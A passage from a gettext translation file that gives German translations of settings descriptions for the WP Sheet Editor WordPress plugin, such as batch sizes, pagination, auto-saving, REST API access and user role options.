to use few server resources. We load 20 rows first and " "load 20 more every time you scroll down. You can increase this number to " "load more rows per page. CAREFUL. Loading more than 200 rows per page might " "overload your server. If we detect that the server is overloaded we will " "automatically reset to 10 rows per page." msgstr "" "Wir verwenden die Seitennummerierung, um weniger Server-Ressourcen zu " "nutzen. Wir laden am Anfang 20 Zeilen, und jedes Mal, wenn Sie nach unten " "scrollen, laden wir 20 weitere. Sie können diese Zahl erhöhen, um mehr " "Zeilen je Seite zu laden. SORGFALT: Das Laden von mehr als 200 Zeilen pro " "Seite könnte Ihren Server überlasten. Wenn wir feststellen, dass der Server " "überlastet ist, setzen wir automatisch auf 10 Zeilen pro Seite zurück." #: wp-sheet-editor/dev/inc/options-init.php:33 msgid "Export rows faster: Number of rows to export per batch" msgstr "" "Zeilen schneller exportieren: Anzahl der zu exportierenden Zeilen je " "Verarbeitungszyklus" #: wp-sheet-editor/dev/inc/options-init.php:34 msgid "" "Here you can control the batch size for the exports. If you use a high " "number the exports will finish faster. You can use a high number safely " "because we automatically fall back to a lower number if the server is " "overloaded during one export. For example, export 100 rows per batch and " "complete the exports super fast and if we detect slowness in one export we " "will automatically restart the export with 10 rows per batch" msgstr "" "Hier können Sie die Größe eines Verarbeitungszyklus für die Exporte steuern. " "Wenn Sie eine hohe Anzahl verwenden, werden die Exporte schneller " "abgeschlossen. Sie können eine hohe Anzahl sicher verwenden, weil wir " "automatisch auf eine niedrigere Anzahl zurückgreifen, wenn der Server " "während eines Exports überlastet ist. Exportieren Sie zum Beispiel 100 " "Zeilen je Zyklus und schließen Sie die Exporte superschnell ab, und wenn wir " "bei einem Export eine Langsamkeit feststellen, starten wir den Export " "automatisch mit 10 Zeilen je Zyklus neu" #: wp-sheet-editor/dev/inc/options-init.php:41 msgid "Save changes faster: Number of rows to save per batch" msgstr "" "Änderungen schneller speichern: Anzahl der zu speichernden Zeilen je " "Verarbeitungszyklus" #: wp-sheet-editor/dev/inc/options-init.php:42 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. The recommended value " "is 4 , which means we will process only 4 posts at once. You can adjust it " "as it works best for you. If you get errors when saving you should lower the " "number" msgstr "" "Wenn Sie eine große Anzahl von Beiträgen im Tabelleneditor bearbeiten, " "können wir nicht alle Änderungen auf einmal speichern, also machen wir es in " "Stapeln. Der empfohlene Wert ist 4 , was bedeutet, dass wir nur 4 Beiträge " "auf einmal bearbeiten werden. Sie können ihn so anpassen, wie es für Sie am " "besten funktioniert. Wenn Sie beim Speichern Fehler erhalten, sollten Sie " "die Zahl verringern" #: wp-sheet-editor/dev/inc/options-init.php:49 msgid "Delete posts faster: Number of posts to delete per batch" msgstr "" "Beiträge schneller löschen: Anzahl der zu löschenden Beiträge je Zyklus" #: wp-sheet-editor/dev/inc/options-init.php:50 msgid "" "When you delete posts, pages, events, products, orders, coupons, and other " "post types, you can select how many will be deleted on every batch. Use a " "higher number to finish faster. Default is 500" msgstr "" "Beim Löschen von Beiträgen, Seiten, Events, Produkten, Bestellungen, " "Gutscheinen und anderen Beitragstypen können Sie auswählen, wie viele je " "Verarbeitungszyklus gelöscht werden sollen. Verwenden Sie eine höhere " "Anzahl, um schneller fertig zu werden. Der Standardwert ist 500" #: wp-sheet-editor/dev/inc/options-init.php:58 msgid "Increase Productivity" msgstr "Produktivität steigern" #: wp-sheet-editor/dev/inc/options-init.php:63 msgid "Use pagination in the spreadsheet?" msgstr "Seitennummerierung im Arbeitsblatt verwenden?" #: wp-sheet-editor/dev/inc/options-init.php:64 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list." msgstr "" "Standardmäßig verwenden wir eine unendliche Liste von Zeilen und wir laden " "jedes Mal mehr Zeilen, wenn Sie nach unten scrollen. Sie können diese Option " "aktivieren, um Links zur Seitennummerierung anzuzeigen, und die unbegrenzte " "Liste zu deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:70 msgid "Disable the automatic loading of rows?" msgstr "Automatisches Laden von Zeilen deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:71 msgid "" "When you open the spreadsheet, we load the rows automatically so you can " "start editing right away. Activate this option if you want to search rows " "and load manually." msgstr "" "Wenn Sie das Arbeitsblatt öffnen, laden wir die Zeilen automatisch, so dass " "Sie sofort mit der Bearbeitung beginnen können. Aktivieren Sie diese Option, " "wenn Sie Zeilen suchen und manuell laden möchten." #: wp-sheet-editor/dev/inc/options-init.php:77 msgid "Disable the full screen mode?" msgstr "Vollbildmodus deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:78 msgid "" "When the sheet loads, we open it in full screen and you have the option to " "exit the full screen mode. Activate this option and we wont open the sheet " "in full screen." msgstr "" "Wenn das Blatt geladen wird, öffnen wir es im Vollbildmodus, und Sie haben " "die Möglichkeit, den Vollbildmodus zu verlassen. Aktivieren Sie diese " "Option, und wir werden das Blatt nicht im Vollbildmodus öffnen." #: wp-sheet-editor/dev/inc/options-init.php:84 msgid "Load more items on scroll?" msgstr "Weitere Elemente beim Scrollen laden?" #: wp-sheet-editor/dev/inc/options-init.php:85 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page. You can enable / disable in " "the spreadsheet too." msgstr "" "Wenn dies aktiviert ist, werden weitere Elemente am unteren Rand des " "Arbeitsblatts geladen, wenn Sie das Ende der Seite erreichen. Sie können " "dies auch im Arbeitsblatt aktivieren / deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:92 msgid "Freeze first columns at the left side?" msgstr "Die ersten Spalten auf der linken Seite einfrieren?" #: wp-sheet-editor/dev/inc/options-init.php:93 msgid "" "Enter a number and those columns will be frozen while scrolling " "horizontally. You can right click on any column to freeze or unfreeze it. " "For example, enter 2 to freeze the first 2 columns" msgstr "" "Geben Sie eine Zahl ein, und diese Spalten werden beim horizontalen Scrollen " "eingefroren. Sie können mit der rechten Maustaste auf eine beliebige Spalte " "klicken, um sie einzufrieren oder freizugeben. Geben Sie zum Beispiel 2 ein, " "um die ersten beiden Spalten einzufrieren" #: wp-sheet-editor/dev/inc/options-init.php:99 msgid "Enable auto saving?" msgstr "Automatisches Speichern aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:100 msgid "" "Turn this on and the spreadsheet will save automatically all the changes " "made on the cells every 2 minutes. Careful, this might cause issues if the " "changes are saved prematurely before you finish editing all the required " "columns." msgstr "" "Wenn Sie dies einschalten, speichert das Arbeitsblatt alle 2 Minuten " "automatisch alle an den Zellen vorgenommenen Änderungen. Vorsicht: Dies kann " "zu Problemen führen, wenn die Änderungen vorzeitig gespeichert werden, bevor " "Sie die Bearbeitung aller erforderlichen Spalten abgeschlossen haben." #: wp-sheet-editor/dev/inc/options-init.php:107 msgid "Solution to weird errors" msgstr "Lösung für seltsame Fehler" #: wp-sheet-editor/dev/inc/options-init.php:113 msgid "Columns limit" msgstr "Begrenzung der Spalten" #: wp-sheet-editor/dev/inc/options-init.php:114 msgid "" "We limit the spreadsheet columns for performance reasons to avoid loading " "thousands of columns on the spreadsheet. You can increase this limit if you " "want to display more columns. Default: 310" msgstr "" "Wir schränken die Spalten des Arbeitsblatts aus Leistungsgründen ein, um zu " "vermeiden, dass Tausende von Spalten im Arbeitsblatt geladen werden. Sie " "können diese Begrenzung erhöhen, wenn Sie mehr Spalten anzeigen möchten. " "Voreinstellung: 310" #: wp-sheet-editor/dev/inc/options-init.php:120 msgid "Separator for taxonomy terms cells" msgstr "Trennzeichen für Zellen mit Taxonomie-Begriffen" #: wp-sheet-editor/dev/inc/options-init.php:121 msgid "" "Taxonomy columns like post categories, post tags, etc. show terms separated " "by comma, if you use commas in your term names, use this option to change " "the separator" msgstr "" "Taxonomie-Spalten wie Kategorien oder Tags von Beiträgen usw. zeigen durch " "Komma getrennte Begriffe; wenn Sie in Ihren Begriffsnamen Kommata benutzen, " "verwenden Sie diese Option, um das Trennzeichen zu ändern" #: wp-sheet-editor/dev/inc/options-init.php:128 msgid "How long do you want to wait between batches? (in seconds)" msgstr "" "Wie lange wollen Sie zwischen den Verarbeitungszyklen warten? (in Sekunden)" #: wp-sheet-editor/dev/inc/options-init.php:129 msgid "" "When you edit a large amount of posts in the spreadsheet editor we can't " "save all the changes at once, so we do it in batches. But your server can't " "handle all the batches one after another so we need to wait a few seconds " "after every batch to give your server a little break. The recommended value " "is 6 seconds, you can adjust it as it works best for you. If you get errors " "when saving you should increase the number to give your server a longer " "break after each batch" msgstr "" "Wenn Sie eine große Anzahl von Beiträgen im Tabelleneditor bearbeiten, " "können wir nicht alle Änderungen auf einmal speichern, also machen wir es in " "Stapeln. Aber Ihr Server kann nicht alle Stapel nacheinander bearbeiten, so " "dass wir nach jedem Verarbeitungszyklus einige Sekunden warten müssen, um " "Ihrem Server eine kleine Pause zu gönnen. Der empfohlene Wert ist 6 " "Sekunden; Sie können ihn so einstellen, wie es für Sie am besten " "funktioniert. Wenn Sie beim Speichern Fehler erhalten, sollten Sie die Zahl " "erhöhen, um Ihrem Server nach jedem Zyklus eine längere Pause zu geben" #: wp-sheet-editor/dev/inc/options-init.php:135 msgid "Disable post actions while saving?" msgstr "Beitragsaktionen beim Speichern deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:136 msgid "" "Some plugins execute a task after a post is created or updated. For example, " "there are plugins that share your new posts on your social profiles, other " "plugins that notify users after a post is updated, etc. There might be an " "issue with those plugins. For example, if you use a plugin that shares your " "new posts on your twitter account and update 100 posts in the spreadsheet " "editor you might end up with 100 tweets shared in your twitter account. So " "enable this option if you want to update / create posts silently without " "executing those functions." msgstr "" "Einige Plugins führen einen Auftrag aus, nachdem ein Beitrag erstellt oder " "aktualisiert wurde. Zum Beispiel gibt es Plugins, die Ihre neuen Beiträge in " "Ihren sozialen Profilen teilen, andere Plugins benachrichtigen Benutzer, " "nachdem ein Beitrag aktualisiert wurde, usw. Es könnte ein Problem mit " "diesen Plugins geben. Wenn Sie zum Beispiel ein Plugin verwenden, das Ihre " "neuen Beiträge auf Ihrem Twitter-Konto teilt, und 100 Beiträge im " "Tabelleneditor aktualisiert werden, könnten Sie am Ende 100 Tweets in Ihrem " "Twitter-Konto teilen. Aktivieren Sie also diese Option, wenn Sie Beiträge im " "Stillen aktualisieren / erstellen möchten, ohne diese Funktionen auszuführen." #: wp-sheet-editor/dev/inc/options-init.php:142 msgid "Suspend object cache invalidation?" msgstr "Devalidierung von Cache-Objekten unterbrechen?" #: wp-sheet-editor/dev/inc/options-init.php:143 msgid "" "Disable this if you are using a object/database cache plugin. We disable " "this by default to make the saving faster, when you edit a lot of posts " "WordPress tries to \"clean up\" the cache even if you are not using a cache " "plugin, making hundreds of unnecessary database queries." msgstr "" "Deaktivieren Sie dies, wenn Sie ein Objekt-/Datenbank-Cache-Plugin " "verwenden. Wenn Sie viele Beiträge bearbeiten, deaktivieren wir dies " "standardmäßig, um das Speichern schneller zu machen. WordPress versucht, den " "Cache zu \"bereinigen\", auch wenn Sie kein Cache-Plugin verwenden, was " "Hunderte von unnötigen Datenbankabfragen zur Folge hat." #: wp-sheet-editor/dev/inc/options-init.php:149 msgid "Disable the replacement of line breaks with p tags?" msgstr "Ersetzung von Zeilenumbrüchen durch p-Tags deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:150 msgid "" "When the sheet loads and saves post content, we run it through wpautop to " "prevent issues with line breaks. You can disable this if you dont want to " "see/save the p tags in the content." msgstr "" "Wenn das Blatt geladen und der Beitragsinhalt gespeichert wird, lassen wir " "es über wpautop laufen, um Probleme mit Zeilenumbrüchen zu vermeiden. Sie " "können dies deaktivieren, wenn Sie die p-Tags im Inhalt nicht sehen/" "speichern möchten." #: wp-sheet-editor/dev/inc/options-init.php:156 msgid "Deactivate the data prefetch" msgstr "Daten-Prefetch deaktivieren" #: wp-sheet-editor/dev/inc/options-init.php:157 msgid "" "When you load the spreadsheet, we get all the columns at once from the " "database to make it faster, this is called prefetch. This can cause issues " "if you have thousands of columns or rare database setups." msgstr "" "Wenn Sie das Arbeitsblatt laden, erhalten wir alle Spalten auf einmal aus " "der Datenbank, um es schneller zu machen, dies wird Prefetch genannt. Dies " "kann zu Problemen führen, wenn Sie Tausende von Spalten oder seltene " "Datenbank-Setups haben." #: wp-sheet-editor/dev/inc/options-init.php:163 msgid "Meta keys that should use the infinite serialized fields handler" msgstr "" "Metaschlüssel, die den Handler für unbegrenzte serialisierte Felder " "verwenden sollen" #: wp-sheet-editor/dev/inc/options-init.php:164 msgid "" "This is only for advanced users or if our support team asks you to use this " "option. We have 2 ways to handle serialized fields: the old handler (used by " "default, which has limitations) and the infinite serialization handler " "(better, it is not active by default to not break previous integrations). " "Use this option if you have serialized fields that save incorrectly or dont " "appear in the spreadsheet." msgstr "" "Dies ist nur für fortgeschrittene Benutzer oder wenn unser Support-Team Sie " "bittet, diese Option zu verwenden. Wir haben 2 Möglichkeiten, mit " "serialisierten Feldern umzugehen: den alten Handler (standardmäßig " "verwendet, mit Einschränkungen) und den unbegrenzten Serialisierungs-Handler " "(besser, aber standardmäßig nicht aktiv, um frühere Integrationen nicht zu " "brechen). Verwenden Sie diese Option, wenn Sie serialisierte Felder haben, " "die falsch speichern oder nicht im Arbeitsblatt erscheinen." #: wp-sheet-editor/dev/inc/options-init.php:169 msgid "Blacklist these columns" msgstr "Diese Spalten auf die schwarze Liste setzen" #: wp-sheet-editor/dev/inc/options-init.php:170 msgid "" "Enter the list of field keys separated by commas, you can enter the full " "meta field key or partial keywords or prefixes. This is useful because some " "plugins add thousands of unnecessary fields to the database and they clutter " "the spreadsheet" msgstr "" "Geben Sie die Liste der Feldschlüssel durch Kommata getrennt ein, Sie können " "den vollständigen Metafeldschlüssel oder Teile von Schlüsselwörtern oder " "Präfixe eingeben. Dies ist nützlich, weil einige Plugins der Datenbank " "Tausende von unnötigen Feldern hinzufügen und das Arbeitsblatt überladen" #: wp-sheet-editor/dev/inc/options-init.php:175 msgid "Enable the utf8 encoding fix" msgstr "UTF8-Kodierungs-Bugfix aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:176 msgid "This might help if the spreadsheet doesnt load or it loads empty." msgstr "" "Dies kann hilfreich sein, wenn das Arbeitsblatt nicht oder leer geladen wird." #: wp-sheet-editor/dev/inc/options-init.php:183 msgid "Customize features" msgstr "Funktionen anpassen" #: wp-sheet-editor/dev/inc/options-init.php:188 msgid "Enable option to restrict spreadsheet views per user?" msgstr "" "Option zur Einschränkung der Arbeitsblattansichten je Benutzer aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:189 msgid "" "If you enable this option, we will add fields to the user profiles where you " "can specify which spreadsheet views they can use, they can use all the " "spreadsheet views if this is deactivated." msgstr "" "Wenn Sie diese Option aktivieren, fügen wir den Benutzerprofilen Felder " "hinzu, in denen Sie angeben können, welche Ansichten des Arbeitsblattes sie " "verwenden können; ist diese Option deaktiviert, können sie alle " "Arbeitsblattansichten verwenden." #: wp-sheet-editor/dev/inc/options-init.php:195 msgid "Enable simple mode?" msgstr "Einfachen Modus aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:196 msgid "" "If you enable this option, we will simplify the spreadsheet options and " "remove advanced examples, tips, and options rarely used in the search tool, " "bulk edit tool, import tool, export tool, and other places." msgstr "" "Wenn Sie diese Option aktivieren, vereinfachen wir die Arbeitsblattoptionen " "und entfernen erweiterte Beispiele, Tipps und Optionen, die im Suchtool, " "Massenbearbeitungstool, Importtool, Exporttool und an anderen Stellen selten " "verwendet werden." #: wp-sheet-editor/dev/inc/options-init.php:202 msgid "Disable the automatic formatting detection?" msgstr "Automatische Formatierungserkennung deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:203 msgid "" "If you enable this option, some columns will appear as text. Normally we " "detect the date fields, image fields." msgstr "" "Wenn Sie diese Option aktivieren, werden einige Spalten als Text angezeigt. " "Normalerweise erkennen wir Datumsfelder, Bildfelder." #: wp-sheet-editor/dev/inc/options-init.php:209 msgid "Disable cells lazy loading?" msgstr "Verzögertes Laden der Zellen deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:210 msgid "" "The spreadsheet loads only the \"visible rows\" for performance reasons, so " "when you scroll up or down the rows are loaded dynamically. This way you can " "\"open\" thousands of posts in the spreadshet and it will work fast. " "However, if you want to use the browser search to find a specific cell, you " "need to disable the lazy loading in order to load all the rows at once and " "the browser will be able to find the cells. The browser search doesn't work " "by default because only the \"visible rows\" are actually created." msgstr "" "Aus Leistungsgründen lädt das Arbeitsblatt nur die \"sichtbaren Zeilen\", so " "dass beim Scrollen nach oben oder unten die Zeilen dynamisch geladen werden. " "Auf diese Weise können Sie Tausende von Beiträgen im Arbeitsblatt \"öffnen" "\", und es funktioniert schnell. Wenn Sie jedoch die Browsersuche benutzen " "wollen, um eine bestimmte Zelle zu finden, müssen Sie das verzögerte Laden " "deaktivieren, damit alle Zeilen auf einmal geladen werden und der Browser " "die Zellen finden kann. Die Browsersuche funktioniert nicht standardmäßig, " "weil nur die \"sichtbaren Zeilen\" tatsächlich erzeugt werden." #: wp-sheet-editor/dev/inc/options-init.php:216 msgid "Disable usage stats widget?" msgstr "Nutzungsstatistik-Widget deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:217 msgid "" "If you enable this option, the usage stats widget shown in the wp-admin " "dashboard will be removed." msgstr "" "Wenn Sie diese Option aktivieren, wird das Nutzungsstatistik-Widget, das im " "WP-Admin-Dashboard angezeigt wird, entfernt." #: wp-sheet-editor/dev/inc/options-init.php:223 msgid "Disable serialized columns support?" msgstr "Unterstützung für serialisierte Spalten deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:224 msgid "" "The spreadsheet automatically generates columns for serialized fields, but " "this can use a lot of CPU cycles depending on the number of serialized " "fields. You can disable this feature if the sheet is too slow to load or you " "get errors when loading the rows or you dont want to see columns with prefix " "\"SEIS\"." msgstr "" "Das Arbeitsblatt generiert automatisch Spalten für serialisierte Felder, was " "jedoch je nach Anzahl der serialisierten Felder viele CPU-Zyklen in Anspruch " "nehmen kann. Sie können diese Funktion deaktivieren, wenn das Blatt zu " "langsam geladen wird, wenn Sie Fehler beim Laden der Zeilen erhalten oder " "wenn Sie keine Spalten mit dem Präfix \"SEIS\" sehen möchten." #: wp-sheet-editor/dev/inc/options-init.php:230 msgid "Disable the heartbeat api in the spreadsheet?" msgstr "Die Heartbeat API für das Arbeitsblatt deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:231 msgid "" "WordPress uses the heartbeat API to check the login status every few " "seconds. This can overload your server because it could make hundreds of " "requests when you are editing in the spreadsheet. You can disable it to " "reduce the stress on your server while editing in the sheet. However, if you " "keep the spreadsheet opened over multiple days your login session can expire " "and you wont be notified if you disable the heartbeat and this can cause " "issues while saving. So use this option only when you use the spreadsheet " "for a few hours only." msgstr "" "WordPress verwendet die Heartbeat API, um den Anmeldestatus alle paar " "Sekunden zu überprüfen. Dies kann Ihren Server überlasten, weil er Hunderte " "von Anfragen stellen kann, wenn Sie im Arbeitsblatt arbeiten. Sie können " "dies deaktivieren, um die Belastung Ihres Servers während der Bearbeitung " "des Arbeitsblatts zu verringern. Wenn Sie das Arbeitsblatt jedoch über " "mehrere Tage geöffnet lassen, kann Ihre Anmeldesitzung ablaufen und Sie " "würden darüber nicht benachrichtigt, wenn Sie den Heartbeat deaktivieren. " "Dies kann zu Problemen beim Speichern führen. Verwenden Sie diese Option " "also nur, wenn Sie das Arbeitsblatt nur einige Stunden lang verwenden." #: wp-sheet-editor/dev/inc/options-init.php:237 msgid "Deactivate everything. Use the REST API only" msgstr "Alles deaktivieren. Nur die REST-API verwenden" #: wp-sheet-editor/dev/inc/options-init.php:238 msgid "" "If you activate this option we will deactivate all the spreadsheets, " "settings pages, and the entire plugin will become invisible to the user. " "Only the REST API will remain active. This is useful for advanced scenarios " "when you only use our REST API to keep websites synchronized with external " "spreadsheets or systems. When this option is active, our settings page will " "moved under the general settings menu because our sheet editor menu will be " "removed" msgstr "" "Wenn Sie diese Option aktivieren, werden alle Arbeitsblätter und " "Einstellungsseiten deaktiviert, und das gesamte Plugin wird für den Benutzer " "unsichtbar. Nur die REST-API bleibt aktiv. Dies ist nützlich für " "fortgeschrittene Szenarien, wenn Sie nur unsere REST-API verwenden, um " "Websites mit externen Tabellen oder Systemen synchronisiert zu halten. Wenn " "diese Option aktiv ist, wird unsere Einstellungsseite unter das allgemeine " "Einstellungsmenü verschoben, weil unser Tabelleneditor-Menü entfernt wird" #: wp-sheet-editor/dev/inc/options-init.php:245 msgid "User roles that can use the spreadsheet editor" msgstr "Benutzerrollen, die den Tabelleneditor verwenden können" #: wp-sheet-editor/dev/inc/options-init.php:246 msgid "The plugin will not initialize for the user roles not selected here." msgstr "" "Das Plugin wird für die hier nicht ausgewählten Benutzerrollen nicht " "initialisiert." #: wp-sheet-editor/dev/inc/options-init.php:252 msgid "Enable the fancy taxonomy terms selector" msgstr "Den Selektor für ausgefallene Taxonomiebegriffe aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:253 msgid "" "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " "default for selecting one term only and the column can be copy pasted. We " "have a fancy dropdown selector, which has better auto complete, allows " "selecting multiple options, etc. but it uses more server resources and it " "doesn't allow copy pasting in these cells. You can activate it here if you " "prefer a better dropdown over the ability to copy paste." msgstr "" "Die Taxonomie-Spalten (d.h. Kategorien, Tags) verwenden standardmäßig eine " "eingeschränkte Dropdown-Liste zur Auswahl nur eines Begriffs, und die Spalte " "kann durch Copy&Paste eingefügt werden. Wir haben einen netten Dropdown-" "Selektor, der eine bessere Autovervollständigung hat, die Auswahl mehrerer " "Optionen erlaubt usw., aber er verbraucht mehr Server-Ressourcen und erlaubt " "kein Copy&Paste in diese Zellen. Sie können ihn hier aktivieren, wenn Sie " "ein besseres Dropdown-Menü der Möglichkeit zum Kopieren und Einfügen " "vorziehen." #: wp-sheet-editor/dev/inc/options-init.php:259 msgid "Enable the REST API" msgstr "REST-API aktivieren" #: wp-sheet-editor/dev/inc/options-init.php:260 msgid "" "The REST API can be used for interacting with our spreadsheet from external " "apps." msgstr "" "Die REST-API kann für die Interaktion mit unserem Arbeitsblatt von externen " "Anwendungen aus verwendet werden." #: wp-sheet-editor/dev/inc/options-init.php:266 msgid "Show all the custom post statuses?" msgstr "Alle benutzerdefinierten Beitragsstatus anzeigen?" #: wp-sheet-editor/dev/inc/options-init.php:267 msgid "" "By default we show the CORE statuses: published, draft, private, scheduled, " "trash. However, some plugins register custom statuses: job managers, " "woocommerce. Enable this option to show all the custom statuses in the " "\"status\" column. CAREFUL. We will show all the statuses from all the post " "types in the dropdown because it is impossible to know the post type of each " "status to we can not separate them. Do this only if you are a developer." msgstr "" "Standardmäßig zeigen wir die KERN-Zustände an: veröffentlicht, Entwurf, " "privat, geplant, Papierkorb. Einige Plugins speichern jedoch " "benutzerdefinierte Zustände: Job-Manager, Woocommerce. Aktivieren Sie diese " "Option, um alle benutzerdefinierten Zustände in der Spalte \"Status\" " "anzuzeigen. AUFPASSEN. Wir zeigen in der Dropdown-Liste alle Zustände aller " "Beitragstypen an, weil es unmöglich ist, den Beitragstyp jedes Zustands zu " "kennen, deshalb können wir sie nicht unterscheiden. Tun Sie dies nur, wenn " "Sie ein Entwickler sind." #: wp-sheet-editor/dev/inc/options-init.php:273 msgid "Remove help messages from the cells?" msgstr "Hilfemeldungen aus den Zellen entfernen?" #: wp-sheet-editor/dev/inc/options-init.php:274 msgid "" "By default we show comments in some columns indicating the value format or " "why they are locked. for example, the category column shows a tip indicating " "to separate terms with a comma and how to add child categories, variation " "columns have a tip indicating why they are locked for parent products. You " "can activate this option to disable those tips." msgstr "" "Standardmäßig zeigen wir in einigen Spalten Kommentare an, die das Format " "eines Wertes oder den Grund angeben, warum sie gesperrt sind. Beispielsweise " "zeigt die Kategorie-Spalte einen Hinweis, dass Begriffe durch Kommata " "getrennt werden sollen, und wie untergeordnete Kategorien hinzugefügt werden " "können; Spalten für Varianten haben einen Hinweis, der anzeigt, warum sie " "für übergeordnete Produkte gesperrt sind. Sie können diese Option " "aktivieren, um die Hinweise zu deaktivieren." #: wp-sheet-editor/dev/inc/options-init.php:280 msgid "Manage taxonomy column values as term ids?" msgstr "Taxonomie-Spaltenwerte als Begriffs-IDs verwalten?" #: wp-sheet-editor/dev/inc/options-init.php:281 msgid "" "By default we show the categories as names separated by commas. Activate " "this option to display and save term ids separated by commas." msgstr "" "Standardmäßig zeigen wir die Kategorien als durch Kommata getrennte Namen " "an. Aktivieren Sie diese Option, um Begriffs-IDs getrennt durch Kommata " "anzuzeigen und zu speichern." #: wp-sheet-editor/dev/inc/options-init.php:287 msgid "Do you want to deactivate columns for new fields found?" msgstr "Möchten Sie Spalten für neu gefundene Felder deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:288 msgid "" "By default we automatically show columns for all the new fields found, so " "everytime we detect new fields you can see them and edit right away. But " "this might \"break\" your column sorting or annoy you if you have enabled " "specific columns. Enable this option to generate those columns but leave " "them deactivated so you can enable them later." msgstr "" "Standardmäßig zeigen wir automatisch Spalten für alle neu gefundenen Felder " "an, so dass Sie jedes Mal, wenn wir neue Felder entdecken, diese sehen und " "sofort bearbeiten können. Aber dies könnte Ihre Spaltensortierung stören " "oder Sie ärgern, wenn Sie bestimmte Spalten aktiviert haben. Aktivieren Sie " "diese Option, um diese Spalten zu generieren, aber sie deaktiviert zu " "belassen, damit Sie sie später aktivieren können." #: wp-sheet-editor/dev/inc/options-init.php:295 msgid "Math formula roundup decimals" msgstr "Mathematische Formel Dezimalstellen aufrunden" #: wp-sheet-editor/dev/inc/options-init.php:296 msgid "" "We automatically round up to 2 decimals. You can enter any number here, for " "example, 1 to round to 1 decimal" msgstr "" "Wir runden automatisch auf 2 Dezimalstellen auf. Sie können hier eine " "beliebige Zahl eingeben, z.B. 1, um auf 1 Dezimalstelle zu runden" #: wp-sheet-editor/dev/inc/options-init.php:302 msgid "Display raw value on select cells?" msgstr "Rohwert auf ausgewählten Zellen anzeigen?" #: wp-sheet-editor/dev/inc/options-init.php:303 msgid "" "By default, we show the label in the cell instead of the raw value. But you " "can enable this option to display the raw value in the cells." msgstr "" "Standardmäßig zeigen wir die Feldbezeichnung in der Zelle anstelle des " "Rohwerts an. Sie können diese Option jedoch aktivieren, um den Rohwert in " "den Zellen anzuzeigen." #: wp-sheet-editor/dev/inc/options-init.php:309 msgid "" "Delete user accounts in the entire network when deleting users in the " "spreadsheet?" msgstr "" "Benutzerkonten im gesamten Netzwerk löschen, wenn der Benutzer im " "Arbeitsblatt gelöscht wird?" #: wp-sheet-editor/dev/inc/options-init.php:310 msgid "" "When you use WordPress multisite and you delete a user in the users " "spreadsheet, by default we only remove the user from the current site but " "the user remains in the network. Activate this option if you want to delete " "the user account from the entire network" msgstr "" "Wenn Sie WordPress Multisite verwenden und einen Benutzer im " "Benutzerarbeitsblatt löschen, entfernen wir standardmäßig nur den Benutzer " "von der aktuellen Site, der Benutzer bleibt jedoch im Netzwerk. Aktivieren " "Sie diese Option, wenn Sie das Benutzerkonto aus dem gesamten Netzwerk " "löschen möchten" #: wp-sheet-editor/dev/inc/options-init.php:316 msgid "Disable the addition of file ID to the image URLs?" msgstr "Hinzufügen der Datei-ID zu den Bild-URLs deaktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:317 msgid "" "By default, when you export the featured image column or gallery columns, we " "add the file ID to each image url so we can import them later faster. You " "can activate this option to not add the file id and the import will work " "fine later but it wont be as fast" msgstr "" "Standardmäßig fügen wir die Datei-ID zu jeder Bild-URL hinzu, wenn Sie die " "Spalte mit den Beitragsbildern oder Galeriebildern exportieren, damit wir " "sie später schneller importieren können. Sie können diese Option aktivieren, " "um die Datei-ID nicht hinzuzufügen; der Import wird später problemlos " "funktionieren, aber nicht so schnell sein" #: wp-sheet-editor/dev/inc/options-init.php:324 msgid "General settings" msgstr "Allgemeine Einstellungen" #: wp-sheet-editor/dev/inc/options-init.php:329 msgid "" "In this page you can quickly set up the spreadsheet editor. This all you " "need to use the editor. The settings on the other tabs are completely " "optional and allow you to tweak the performance of the editor among other " "things." msgstr "" "Auf dieser Seite können Sie den Tabelleneditor schnell einrichten. Dies ist " "alles, was Sie zur Benutzung des Editors benötigen. Die Einstellungen auf " "den anderen Registerkarten sind vollkommen optional und erlauben es Ihnen " "unter anderem, die Leistung des Editors zu optimieren." #: wp-sheet-editor/dev/inc/options-init.php:334 msgid "Post Types" msgstr "Beitragstypen" #: wp-sheet-editor/dev/inc/options-init.php:335 msgid "On which post types do you want to enable the editor?" msgstr "Bei welchen Beitragsarten möchten Sie den Editor aktivieren?" #: wp-sheet-editor/dev/inc/options-init.php:344 msgid "Misc" msgstr "Verschiedenes" #: wp-sheet-editor/dev/inc/options-init.php:350 msgid "Initial rows offset" msgstr "Anfängliches Zeilen-Offset" #: wp-sheet-editor/dev/inc/options-init.php:351 msgid "" "When you have 1000 posts , you might want to open the spreadsheet and start " "editing from post 200. This option lets you skip a lot of rows. IMPORTANT. " "We use the pagination, so we will display the page closest to that number. " "For example. If you load 10 rows per page and enter 1205 as offset, the " "sheet will start from page 120 (index 1200) because it is the page closest " "to the defined offset." msgstr "" "Wenn Sie 1000 Beiträge haben, möchten Sie vielleicht das Arbeitsblatt öffnen " "und mit der Bearbeitung ab Beitrag 200 beginnen. Mit dieser Option können " "Sie viele Zeilen überspringen. WICHTIG. Wir verwenden die " "Seitennummerierung, d.h. wir zeigen die Seite an, die dieser Zahl am " "nächsten liegt. Zum Beispiel. Wenn Sie 10 Zeilen je Seite laden und 1205 als " "Offset eingeben, beginnt das Blatt bei Seite 120 (Index 1200), weil es die " "Seite ist, die dem definierten Offset am 